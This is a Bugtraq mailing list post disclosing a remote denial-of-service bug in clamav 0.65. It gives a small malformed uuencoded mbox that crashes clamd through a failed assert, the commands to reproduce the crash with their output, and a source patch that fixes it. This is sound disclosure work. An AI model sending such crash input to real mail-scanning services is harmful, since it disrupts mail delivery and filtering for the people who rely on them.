Bugtraq mailing list archives
clamav 0.65 remote DOS exploit
From: Oliver Eikemeier <eikemeier () fillmore-labs com>
Date: Mon, 09 Feb 2004 15:24:17 +0100
Description:
It is trivial to crash clamd using a malformed uuencoded message, resulting in a denial of service for all programs (e.g. SMTP daemons) relying on clamd running. The message must only contain one uuencoded line with an illegal line lenght, i.e. starting with a small letter. libclamav calculates the line lenght of an uuencoded line by taking the ASCII value of the first character minus 64 and does an `assert' if the length is not in the allowed range, effectively terminating the calling program.
How-To-Repeat:
Save the following file to ~/clamtest.mbox, removing the leading 'X': XFrom - X Xbegin 644 byebye Xbyebye Xend Then do: # clamscan --mbox -v ~/clamtest.mbox assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887 Abort (core dumped) or # clamdscan -v ~/clamtest.mbox; ps ax | grep clam
Fix:
Apply the following patch to libclamav/message.c: --- libclamav/message.c.orig Wed Nov 5 11:59:53 2003 +++ libclamav/message.c Mon Feb 9 15:17:13 2004 @@ -878,13 +878,16 @@ if(strcasecmp(line, "end") == 0) break; - assert(strlen(line) <= 62); + if(strlen(line) > 62) + break; + if((line[0] & 0x3F) == ' ') break; len = *line++ - ' '; - assert((len >= 0) && (len <= 63)); + if(len < 0 || len > 63) + break; ptr = decode(line, ptr, uudecode, (len & 3) == 0); break;
References:
FreeBSD PR 62586: <http://www.freebsd.org/cgi/query-pr.cgi?pr=62586>
Current thread:
- clamav 0.65 remote DOS exploit Oliver Eikemeier (Feb 09)
- Re: clamav 0.65 remote DOS exploit Nigel Horne (Feb 09)
- Re: clamav 0.65 remote DOS exploit Oliver Eikemeier (Feb 09)
- Re: clamav 0.65 remote DOS exploit Stefan Triller (Feb 09)
- Re: clamav 0.65 remote DOS exploit Oliver Eikemeier (Feb 10)
- Re: clamav 0.65 remote DOS exploit Mark Renouf (Feb 09)
- Re: clamav 0.65 remote DOS exploit Dennis Freise (Feb 10)
- Re: clamav 0.65 remote DOS exploit Oliver Eikemeier (Feb 09)
- Re: clamav 0.65 remote DOS exploit Nigel Horne (Feb 09)
- <Possible follow-ups>
- Re: clamav 0.65 remote DOS exploit Khalid J Hosein (Feb 11)